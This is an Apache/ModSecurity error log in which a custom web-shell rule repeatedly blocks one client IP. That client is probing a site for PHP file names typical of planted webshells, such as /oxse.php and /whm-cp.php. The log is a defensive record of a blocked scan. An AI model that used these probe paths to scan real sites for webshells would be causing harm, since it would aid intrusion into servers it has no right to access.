[Fri Feb 06 08:28:26.261089 2026] [:error] [pid 1773:tid 1807] [client 20.220.62.160:65512] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/law.php"] [unique_id "aYU1qjYbySBHYmKOdJ8oKQAAANg"]
[Fri Feb 06 08:28:26.739611 2026] [:error] [pid 1663:tid 1688] [client 20.220.62.160:65468] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/law.php"] [unique_id "aYU1ql9EQrJaKkABjK8JsAAAAA8"]
[Fri Feb 06 08:28:27.256822 2026] [:error] [pid 1773:tid 1805] [client 20.220.62.160:65494] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xx.php"] [unique_id "aYU1qzYbySBHYmKOdJ8oLQAAANY"]
[Fri Feb 06 08:28:27.730797 2026] [:error] [pid 1773:tid 1802] [client 20.220.62.160:65418] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xx.php"] [unique_id "aYU1qzYbySBHYmKOdJ8oMAAAANM"]
[Fri Feb 06 08:28:28.170997 2026] [:error] [pid 1773:tid 1801] [client 20.220.62.160:65434] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xx.php"] [unique_id "aYU1rDYbySBHYmKOdJ8oMwAAANI"]
[Fri Feb 06 08:28:28.791028 2026] [:error] [pid 1664:tid 1702] [client 20.220.62.160:65519] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-xx.php"] [unique_id "aYU1rO_0lM6yA3VnvQXixAAAAEI"]
[Fri Feb 06 08:28:29.327281 2026] [:error] [pid 1773:tid 1795] [client 20.220.62.160:65480] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aYU1rTYbySBHYmKOdJ8oOQAAAMw"]
[Fri Feb 06 08:28:29.800280 2026] [:error] [pid 1773:tid 1787] [client 20.220.62.160:64861] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aYU1rTYbySBHYmKOdJ8oPQAAAMQ"]
[Fri Feb 06 08:28:30.392990 2026] [:error] [pid 34582:tid 34588] [client 20.220.62.160:65441] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aYU1ruDeJq1JGssYG6z0NQAAAQM"]
[Fri Feb 06 08:28:31.664491 2026] [:error] [pid 1773:tid 1799] [client 20.220.62.160:65472] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/st.php"] [unique_id "aYU1rzYbySBHYmKOdJ8oSQAAANA"]
[Fri Feb 06 08:28:32.612050 2026] [:error] [pid 1664:tid 1716] [client 20.220.62.160:65484] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "aYU1sO_0lM6yA3VnvQXi2QAAAFA"]
[Fri Feb 06 08:28:33.556799 2026] [:error] [pid 13650:tid 13652] [client 20.220.62.160:65457] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "aYU1sRoU-_lpgnGeX7WklwAAAUA"]
[Fri Feb 06 08:28:35.374248 2026] [:error] [pid 1665:tid 1746] [client 20.220.62.160:64844] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "aYU1szYZLE6gThXvZMoDOAAAAJM"]
[Fri Feb 06 08:28:36.283438 2026] [:error] [pid 1663:tid 1676] [client 20.220.62.160:65440] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/"] [unique_id "aYU1tF9EQrJaKkABjK8JzwAAAAM"]
[Fri Feb 06 08:28:37.007654 2026] [:error] [pid 13650:tid 13663] [client 20.220.62.160:65478] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oxse.php"] [unique_id "aYU1tRoU-_lpgnGeX7WkngAAAUs"]
[Fri Feb 06 08:28:37.420862 2026] [:error] [pid 1664:tid 1707] [client 20.220.62.160:65454] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oxse.php"] [unique_id "aYU1te_0lM6yA3VnvQXi5gAAAEc"]
[Fri Feb 06 08:28:38.855448 2026] [:error] [pid 34582:tid 34594] [client 20.220.62.160:64836] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oxse.php"] [unique_id "aYU1tuDeJq1JGssYG6z0PgAAAQk"]
[Fri Feb 06 08:28:39.783259 2026] [:error] [pid 1664:tid 1716] [client 20.220.62.160:65488] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oxse.php"] [unique_id "aYU1t-_0lM6yA3VnvQXi8gAAAFA"]
[Fri Feb 06 08:28:40.329239 2026] [:error] [pid 1665:tid 1730] [client 20.220.62.160:65411] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYU1uDYZLE6gThXvZMoDPgAAAIM"]
[Fri Feb 06 08:28:40.928018 2026] [:error] [pid 13650:tid 13653] [client 20.220.62.160:65492] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYU1uBoU-_lpgnGeX7WkpgAAAUE"]
[Fri Feb 06 08:28:41.529043 2026] [:error] [pid 13650:tid 13666] [client 20.220.62.160:65479] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYU1uRoU-_lpgnGeX7WkqQAAAU4"]
[Fri Feb 06 08:28:42.054806 2026] [:error] [pid 13650:tid 13673] [client 20.220.62.160:65474] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYU1uhoU-_lpgnGeX7WkqgAAAVU"]
[Fri Feb 06 08:28:42.860586 2026] [:error] [pid 1665:tid 1733] [client 20.220.62.160:65496] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aYU1ujYZLE6gThXvZMoDQgAAAIY"]
[Fri Feb 06 08:28:43.386669 2026] [:error] [pid 1773:tid 1805] [client 20.220.62.160:65508] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aYU1uzYbySBHYmKOdJ8oaQAAANY"]
[Fri Feb 06 08:28:44.294075 2026] [:error] [pid 1665:tid 1732] [client 20.220.62.160:65432] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aYU1vDYZLE6gThXvZMoDRgAAAIU"]
[Fri Feb 06 08:28:45.426474 2026] [:error] [pid 1664:tid 1709] [client 20.220.62.160:65463] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aYU1ve_0lM6yA3VnvQXi_AAAAEk"]
[Fri Feb 06 08:28:46.468349 2026] [:error] [pid 1665:tid 1729] [client 20.220.62.160:65420] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aYU1vjYZLE6gThXvZMoDSQAAAII"]
[Fri Feb 06 08:28:47.101930 2026] [:error] [pid 1663:tid 1678] [client 20.220.62.160:65417] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aYU1v19EQrJaKkABjK8J2wAAAAU"]
[Fri Feb 06 08:28:47.921345 2026] [:error] [pid 1773:tid 1805] [client 20.220.62.160:64870] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aYU1vzYbySBHYmKOdJ8odAAAANY"]
[Fri Feb 06 08:28:49.038430 2026] [:error] [pid 1665:tid 1736] [client 20.220.62.160:64854] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aYU1wTYZLE6gThXvZMoDTAAAAIk"]
[Fri Feb 06 08:28:50.195695 2026] [:error] [pid 1773:tid 1806] [client 20.220.62.160:64850] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/men.php"] [unique_id "aYU1wjYbySBHYmKOdJ8oeQAAANc"]
[Fri Feb 06 08:28:50.766095 2026] [:error] [pid 1663:tid 1696] [client 20.220.62.160:65446] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/men.php"] [unique_id "aYU1wl9EQrJaKkABjK8J3AAAABc"]
[Fri Feb 06 08:28:51.470989 2026] [:error] [pid 13650:tid 13656] [client 20.220.62.160:65452] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/men.php"] [unique_id "aYU1wxoU-_lpgnGeX7WktQAAAUQ"]
[Fri Feb 06 08:28:52.309709 2026] [:error] [pid 1664:tid 1700] [client 20.220.62.160:65523] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/men.php"] [unique_id "aYU1xO_0lM6yA3VnvQXjDQAAAEA"]
[Fri Feb 06 08:28:52.831688 2026] [:error] [pid 1773:tid 1784] [client 20.220.62.160:65415] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aYU1xDYbySBHYmKOdJ8ofgAAAMM"]
[Fri Feb 06 08:28:53.321167 2026] [:error] [pid 1663:tid 1683] [client 20.220.62.160:64871] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aYU1xV9EQrJaKkABjK8J5AAAAAo"]
[Fri Feb 06 08:28:53.931390 2026] [:error] [pid 1663:tid 1675] [client 20.220.62.160:65506] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aYU1xV9EQrJaKkABjK8J5wAAAAI"]
[Fri Feb 06 08:28:54.428515 2026] [:error] [pid 1663:tid 1681] [client 20.220.62.160:64845] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aYU1xl9EQrJaKkABjK8J6QAAAAg"]
[Fri Feb 06 08:28:54.949046 2026] [:error] [pid 13650:tid 13658] [client 20.220.62.160:64833] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aYU1xhoU-_lpgnGeX7WkvQAAAUY"]
[Fri Feb 06 08:28:55.516002 2026] [:error] [pid 13650:tid 13657] [client 20.220.62.160:65524] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aYU1xxoU-_lpgnGeX7WkwAAAAUU"]
[Fri Feb 06 08:28:56.089196 2026] [:error] [pid 1664:tid 1708] [client 20.220.62.160:65500] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aYU1yO_0lM6yA3VnvQXjFQAAAEg"]
[Fri Feb 06 08:28:56.670397 2026] [:error] [pid 1664:tid 1712] [client 20.220.62.160:65525] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v4.php"] [unique_id "aYU1yO_0lM6yA3VnvQXjFwAAAEw"]
[Fri Feb 06 08:28:57.454214 2026] [:error] [pid 1773:tid 1800] [client 20.220.62.160:65413] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wo.php"] [unique_id "aYU1yTYbySBHYmKOdJ8ohAAAANE"]
[Fri Feb 06 08:28:57.991683 2026] [:error] [pid 1663:tid 1696] [client 20.220.62.160:64860] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wo.php"] [unique_id "aYU1yV9EQrJaKkABjK8J7QAAABc"]
[Fri Feb 06 08:28:58.614790 2026] [:error] [pid 1773:tid 1802] [client 20.220.62.160:65453] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wo.php"] [unique_id "aYU1yjYbySBHYmKOdJ8oiQAAANM"]
[Fri Feb 06 08:28:59.641688 2026] [:error] [pid 34582:tid 34602] [client 20.220.62.160:65453] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wo.php"] [unique_id "aYU1y-DeJq1JGssYG6z0UgAAARE"]
[Fri Feb 06 08:29:00.292184 2026] [:error] [pid 1773:tid 1806] [client 20.220.62.160:65482] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whm-cp.php"] [unique_id "aYU1zDYbySBHYmKOdJ8okAAAANc"]
[Fri Feb 06 08:29:00.979256 2026] [:error] [pid 34582:tid 34593] [client 20.220.62.160:65515] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whm-cp.php"] [unique_id "aYU1zODeJq1JGssYG6z0VgAAAQg"]
[Fri Feb 06 08:29:01.533482 2026] [:error] [pid 1664:tid 1710] [client 20.220.62.160:64884] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whm-cp.php"] [unique_id "aYU1ze_0lM6yA3VnvQXjIgAAAEo"]
[Fri Feb 06 08:29:02.093783 2026] [:error] [pid 34582:tid 34599] [client 20.220.62.160:64867] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/whm-cp.php"] [unique_id "aYU1zuDeJq1JGssYG6z0WQAAAQ4"]
[Fri Feb 06 08:29:02.812292 2026] [:error] [pid 1773:tid 1787] [client 20.220.62.160:65521] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aYU1zjYbySBHYmKOdJ8omgAAAMQ"]
[Fri Feb 06 08:29:03.306286 2026] [:error] [pid 1665:tid 1733] [client 20.220.62.160:65450] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aYU1zzYZLE6gThXvZMoDVwAAAIY"]
[Fri Feb 06 08:29:03.922568 2026] [:error] [pid 34582:tid 34597] [client 20.220.62.160:65522] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aYU1z-DeJq1JGssYG6z0XAAAAQw"]
[Fri Feb 06 08:29:04.807128 2026] [:error] [pid 1773:tid 1802] [client 20.220.62.160:65437] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pu.php"] [unique_id "aYU10DYbySBHYmKOdJ8oogAAANM"]
[Fri Feb 06 08:29:05.499460 2026] [:error] [pid 1663:tid 1685] [client 20.220.62.160:65462] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aYU10V9EQrJaKkABjK8J9gAAAAw"]
[Fri Feb 06 08:29:06.929061 2026] [:error] [pid 1773:tid 1779] [client 20.220.62.160:65510] [client 20.220.62.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/resp.php"] [unique_id "aYU10jYbySBHYmKOdJ8opgAAAME"]
